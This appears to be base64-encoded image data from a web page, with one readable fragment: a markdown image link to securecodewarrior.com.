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width="256" }](https://securecodewarrior.com)
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